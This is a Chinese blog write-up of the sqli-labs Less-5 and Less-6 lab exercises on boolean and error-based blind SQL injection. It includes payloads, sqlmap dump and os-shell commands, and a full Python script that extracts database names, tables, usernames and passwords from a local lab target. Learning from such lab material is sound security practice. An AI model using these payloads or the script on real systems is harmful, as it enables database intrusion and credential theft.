Sqli-labs Less5-Less6 (盲注)

SQL注入之盲注

Less_5 GET-二次注入-单引号-字符型

sqli-labs (less-5)_sqli-labs less 5-CSDN博客

源码为:

 $id=$_GET['id'];
 ​
 $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
 $result=mysql_query($sql);
 $row = mysql_fetch_array($result);
 SELECT * FROM users WHERE id='$id' LIMIT 0,1
 如果传入 
 ?id=1' and 1=1
 SELECT * FROM users WHERE id='1' and 1=1' LIMIT 0,1
 这个闭合方法不对
 ?id=1' and '1'and '1 
 SELECT * FROM users WHERE id='1' and '1'and '1' LIMIT 0,1
 这个闭合方法就是对的,数字可以加单引号

image-20240715190645369

这个题

?id=1'发现报错,是字符型注入

猜解还是4

image-20240715190756150

用union联合注入,发现只会显示You are in………

image-20240715191100209

第一种方法 Boolean注入攻击

页面只返回Yes或者No,不返回数据库中的数据,所以我们在这里不使用union注入

length(database())>=1,判断当前数据库长度是否>=1,正确输出1,错误输出0 substr(database(),1,1)='s',判断当前数据库的第一个字母是否为s,正确输出1,错误输出0,substr的作用是截取长度 ord(substr(database(),1,1))=115,转ASCII码判断,正确输出1,错误输出0 substr((select table_name from information_schema.tables where table_schema='A' limit 0,1),1,1)='e',判断A库下面第一张表的第一个字母是否为e,正确输出1,错误输出0 substr((select column_name from information_schema.tables where table_name='B' limit 0,1),1,1)='e',判断B表下面的第一个字段的第一个字母是否为e,正确输出1,错误输出0 substr((select C from A.B limit 0,1),1,1)='e',判断C字段下面的第一个值的第一个字母是否为e,正确输出1,错误输出0

substr函数和limit函数的介绍

  • substr()函数

在mysql数据库中,substr()函数是用来截取数据库某一列字段中的部分

  • limit()函数

limit可以强制select语句返回指定的记录数

substr函数和limit函数的用法和意思其实差不多,但是substr函数的索引值是从1开始的,而limit函数的索引值是从0开始

好的,现在回到这道题

?id=1' and length(database())>=1 --+

没有报错

image-20240715192723063

为9时,有报错信息

image-20240715192833644

说明数据库的长度大于1小于9

?id=1' and substr(database(),1,1)='s'--+没有报错(其他字母会报错),所以当前数据库的第一个字母是s

但是这样一个个猜太麻烦,直接抓包进行爆破

可以得到当前数据库是'security'

接着可以往下继续猜表名,爆破(修改Limit的值)

substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e'

猜列名,爆破

substr((select column_name from information_schema.columns where column_schema='users' limit 0,1),1,1)='e'

 ?id=1'and length((select database()))>9--+
 #大于号可以换成小于号或者等于号,主要是判断数据库的长度。lenfth()是获取当前数据库名的长度。如果数据库是haha那么length()就是4
 ?id=1'and ascii(substr((select database()),1,1))=115--+
 #substr("78909",1,1)=7 substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。ascii()是将截取的字符转换成对应的ascii,这样我们可以很好确定数字根据数字找到对应的字符。
  看数据库名的第一个字母是不是ascll码值为115的值("s")
  
 ?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+
 判断所有表名字符长度。
 ?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
 逐一判断表名
  
 ?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
 判断所有字段名的长度
 ?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
 逐一判断字段名。
  
  
 ?id=1' and length((select group_concat(username,password) from users))>109--+
 判断字段内容长度
 ?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+
 逐一检测内容。

第二种方法,可以直接使用工具sqlmap

和第一道题差不多

python2 sqlmap.py -u http://127.0.0.1:8989/Less-5/?id=1 -D security -T users -C "id,password,username" --dump

image-20240716092528422

直接用

·python2 sqlmap.py -u http://127.0.0.1:8989/Less-5/?id=1 --current-user得到当前数据库的名称

好像有些题也可以直接用python2 sqlmap.py -u http://127.0.0.1:8989/Less-5/?id=1 --os-shell ls /得到列表 系统交互shell

第三种方法 盲注脚本

 import requests
 ​
 ​
 # 数据库库名长度
 def db_length():
     db_len = 1
     while True:
         str_db_len = str(db_len)
         db_len_url = url + "' and length(database())=" + str_db_len + "--+"
         r = requests.get(db_len_url)
         if flag in r.text:
             print("\n当前数据库名长度为:%s" % str_db_len)
             break
         else:
             db_len = db_len + 1
     return db_len
 ​
 ​
 # 猜解当前数据库库名
 def db_name():
     low = 32
     high = 126
     i = 1
     km = ""
     while (i <= db_len):
         str_i = '%d' % i
 ​
         if (low + high) % 2 == 0:
             mid = (low + high) / 2
         elif (low + high) % 2 != 0:
             mid = (low + high + 1) / 2
         str_mid = '%d' % mid
 ​
         name_url = url + "' and ascii(substr((select schema_name from information_schema.schemata limit 5,1)," + str_i + ",1))=" + str_mid + "--+"
         response = requests.get(name_url)
 ​
         if flag in response.text:
             km += chr(int(mid))
             print(km)
             i = i + 1
             low = 32
             high = 126
         elif flag not in response.text:
             name_url = url + "' and ascii(substr((select schema_name from information_schema.schemata limit 5,1)," + str_i + ",1))>" + str_mid + "--+"
             response = requests.get(name_url)
             if flag in response.text:
                 low = mid
             elif flag not in response.text:
                 high = mid
     print("当前数据库库名为:" + km)
     return km
 ​
 ​
 # 判断表的个数
 def table_num():
     for i in range(20):
         str_i = '%d' % i
         num_url = url + "' and (select count(table_name) from information_schema.tables where table_schema='" + db_name + "')=" + str_i + "--+"
         r = requests.get(num_url)
         if flag in r.text:
             print("\n数据表个数为:%s" % str_i)
             break
     return i
 ​
 ​
 # 判断表名长度
 def table_len():
     t_len = []
     for i in range(0, table_num):
         str_i = str(i)
         for j in range(1, 20):
             str_j = str(j)
             len_url = url + "' and (select length(table_name) from information_schema.tables where table_schema='" + db_name + "' limit " + str_i + ",1)=" + str_j + "%23"
             r = requests.get(len_url)
             if flag in r.text:
                 print("第" + str(i + 1) + "张表的表名长度为:" + str_j)
                 t_len.append(j)
                 break
     return t_len
 ​
 ​
 # 猜解表名
 def table_name():
     tname = {}
     for i in range(0, table_num):
         str_i = str(i)
         for j in range(table_num):
             if i == j:
                 k = 1
                 low = 32
                 high = 126
                 bm = ""
                 while (k <= t_len[j]):
                     str_k = str(k)
                     if (low + high) % 2 == 0:
                         mid = (low + high) / 2
                     elif (low + high) % 2 != 0:
                         mid = (low + high + 1) / 2
                     str_mid = str(mid)
                     name_url = url + "' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit " + str_i + ",1)," + str_k + ",1))=" + str_mid + "--+"
                     r = requests.get(name_url)
                     if flag in r.text:
                         bm += chr(int(mid))
                         print(bm)
                         k = k + 1
                         low = 32
                         high = 126
                     elif flag not in r.text:
                         name_url = url + "' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit " + str_i + ",1)," + str_k + ",1))>" + str_mid + "--+"
                         r = requests.get(name_url)
                         if flag in r.text:
                             low = mid
                         elif flag not in r.text:
                             high = mid
                 tname[str(j + 1)] = str(bm)
     for key, value in tname.items():
         print("[+]| " + key + " | " + value)
     return tname
 ​
 ​
 # 判断表中列个数
 def column_num():
     for i in range(10):
         str_i = str(i)
         num_url = url + "' and (select count(column_name) from information_schema.columns where table_name='" + table_name + "' and table_schema='" + db_name + "')=" + str_i + "--+"
         r = requests.get(num_url)
         if flag in r.text:
             print(table_name + "表中列的个数为:%s" % str_i)
             break
     return i
 ​
 ​
 # 判断列名长度
 def column_len():
     c_len = []
     for i in range(0, column_num):
         str_i = str(i)
         for j in range(1, 20):
             str_j = str(j)
             len_url = url + "' and (select length(column_name) from information_schema.columns where table_name='" + table_name + "' and table_schema='" + db_name + "'limit " + str_i + ",1)=" + str_j + "%23"
             r = requests.get(len_url)
             if flag in r.text:
                 c_len.append(j)
                 print("第" + str(i + 1) + "列的列名长度为:" + str_j)
                 break
     return c_len
 ​
 ​
 # 猜解列名
 def column_name():
     cname = {}
     for i in range(0, column_num):
         str_i = str(i)
         for j in range(column_num):
             if i == j:
                 k = 1
                 low = 32
                 high = 126
                 cm = ''
                 while k <= column_len[j]:
                     str_k = str(k)
                     mid = 0
                     if (low + high) % 2 == 0:
                         mid = (low + high) / 2
                     elif (low + high) % 2 != 0:
                         mid = (low + high + 1) / 2
                     str_mid = str(mid)
                     name_url = url + "' and ascii(substr((select column_name from information_schema.columns where table_name='" + table_name + "' and table_schema='" + db_name + "' limit " + str_i + ",1)," + str_k + ",1))=" + str_mid + "--+"
                     r = requests.get(name_url)
                     if flag in r.text:
                         cm += chr(int(mid))
                         print(cm)
                         k = k + 1
                         low = 32
                         high = 126
                     elif flag not in r.text:
                         name_url = url + "' and ascii(substr((select column_name from information_schema.columns where table_name='" + table_name + "' and table_schema='" + db_name + "' limit " + str_i + ",1)," + str_k + ",1))>" + str_mid + "--+"
                         r = requests.get(name_url)
                         if flag in r.text:
                             low = mid
                         elif flag not in r.text:
                             high = mid
                 cname[str(j)] = str(cm)
     for key, value in cname.items():
         print("[+]| " + str(int(key) + 1) + " | " + value)
     return cname
 ​
 ​
 # 判断字段个数
 def dump_num():
     for i in range(0, column_num):
         for j in range(20):
             str_j = str(j)
             num_url = url + "' and (select count(" + cname[
                 str(i)] + ") from " + db_name + "." + table_name + ")=" + str_j + "--+"
             r = requests.get(num_url)
             if flag in r.text:
                 print(cname[str(i)] + "列中的字段数为:%s" % str_j)
                 break
     return j
 ​
 ​
 # 判断字段长度
 def dump_len():
     user_len = []
     pass_len = []
     for i in range(0, dump_num):
         str_i = str(i)
         for j in range(1, 33):
             str_j = str(j)
             len_url = url + "' and (select length(username) from " + db_name + "." + table_name + " limit " + str_i + ",1)=" + str_j + "%23"
             r = requests.get(len_url)
             if flag in r.text:
                 user_len.append(j)
                 print("username第" + str(i + 1) + "个字段长度为:" + str_j)
                 break
         for k in range(1, 33):
             str_k = str(k)
             len_url = url + "' and (select length(password) from " + db_name + "." + table_name + " limit " + str_i + ",1)=" + str_k + "%23"
             r = requests.get(len_url)
             if flag in r.text:
                 pass_len.append(k)
                 print("password第" + str(i + 1) + "个字段长度为:" + str_k)
                 break
     return (user_len, pass_len)
 ​
 ​
 # 猜解字段值
 def dump():
     username = {}
     password = {}
     for i in range(0, dump_num):
         str_i = str(i)
         for j in range(dump_num):
             if i == j:
                 k = 1
                 p = 1
                 low = 32
                 high = 126
                 uname = ''
                 pword = ''
                 while k <= user_len[j]:
                     str_k = str(k)
                     if (low + high) % 2 == 0:
                         mid = (low + high) / 2
                     elif (low + high) % 2 != 0:
                         mid = (low + high + 1) / 2
                     str_mid = str(mid)
                     user_url = url + "' and ascii(substr((select username from " + db_name + "." + table_name + " limit " + str_i + ",1)," + str_k + ",1))=" + str_mid + "--+"
                     r = requests.get(user_url)
                     if flag in r.text:
                         uname += chr(int(mid))
                         print(str(i + 1) + "| usename:" + uname)
                         k = k + 1
                         low = 32
                         high = 126
                     elif flag not in r.text:
                         user_url = url + "' and ascii(substr((select username from " + db_name + "." + table_name + " limit " + str_i + ",1)," + str_k + ",1))>" + str_mid + "--+"
                         r = requests.get(user_url)
                         if flag in r.text:
                             low = mid
                         elif flag not in r.text:
                             high = mid
                 username[str(j)] = str(uname)
                 while p <= pass_len[j]:
                     str_p = str(p)
                     if (low + high) % 2 == 0:
                         mid = (low + high) / 2
                     elif (low + high) % 2 != 0:
                         mid = (low + high + 1) / 2
                     str_mid = str(mid)
                     pass_url = url + "' and ascii(substr((select password from " + db_name + "." + table_name + " limit " + str_i + ",1)," + str_p + ",1))=" + str_mid + "--+"
                     r = requests.get(pass_url)
                     if flag in r.text:
                         pword += chr(int(mid))
                         print(str(i + 1) + "| password:" + pword)
                         p = p + 1
                         low = 32
                         high = 126
                     elif flag not in r.text:
                         pass_url = url + "' and ascii(substr((select password from " + db_name + "." + table_name + " limit " + str_i + ",1)," + str_p + ",1))>" + str_mid + "--+"
                         r = requests.get(pass_url)
                         if flag in r.text:
                             low = mid
                         elif flag not in r.text:
                             high = mid
                 password[str(j)] = str(pword)
     for x in range(0, 13):
         print("|" + str(x + 1) + "|username:" + username[str(x)] + "|password:" + password[str(x)] + "|")
 ​
 ​
 # 程序入口
 if (__name__ == "__main__"):
     url = "http://127.0.0.1:8989/Less-5/?id=1"    //这里修改一下
     flag = "You are in..........."
     print("..........开始猜解当前数据库库名长度..........")
     db_len = db_length()
     print("\n............开始猜解当前数据库库名............")
     db_name = db_name()
     print("\n.............开始判断数据表的个数.............")
     table_num = table_num()
     print("\n...............开始判断表名长度...............\n")
     t_len = table_len()
     print("\n.................开始猜解表名.................\n")
     tname = table_name()
     table_name = input("\n请选择一张表:")
     print("\n.............开始判断表中列的个数.............\n")
     column_num = column_num()
     print("\n...............开始判断列名长度...............\n")
     column_len = column_len()
     print("\n.................开始猜解列名.................\n")
     cname = column_name()
     print("\n................开始判断字段数................\n")
     dump_num = dump_num()
     print("\n...............开始判断字段长度...............\n")
     user_len, pass_len = dump_len()
     print("\n................开始猜解字段值................\n")
     dump()
 ​

image-20240716092506012

第四种方法 报错注入攻击

当我们构造我们的SQL语句构造错误时,屏幕会将我们具体的错误全部显示出来

 updatexml(1,concat(0x7e,(database()),0x7e),1)  查看当前库  0x7e是’~‘16进制转换的结果
 updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='A' limit 0,1),0x7e),1)  查看A库下的第一张表
 updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='B' limit 0,1),0x7e),1)  查看B表里面的第一个字段
 updatexml(1,concat(0x7e,(select C from A.B limit 0,1),0x7e),1) 查看C列的字段数
 ​

image-20240716101209982

查看security数据库底下的表名(修改LIMIT的值)

image-20240716101418073

查看Users底下的列名

image-20240716101546017

查看username额字段值,也是改变limit的值,感觉就是挨着找

image-20240716102028059

感觉这道题最简单的做法就是直接用工具

Less_6 GET-二次注入-双引号-字符型

先查看源码

 $id = '"'.$id.'"';
 $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
 $result=mysql_query($sql);
 $row = mysql_fetch_array($result);

可以看到id被双引号给括起来了

就是把上道的单引号换为双引号即可

image-20240716102656220

直接用工具

image-20240716103147862

真的感觉盲注用工具简单

  • 31
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值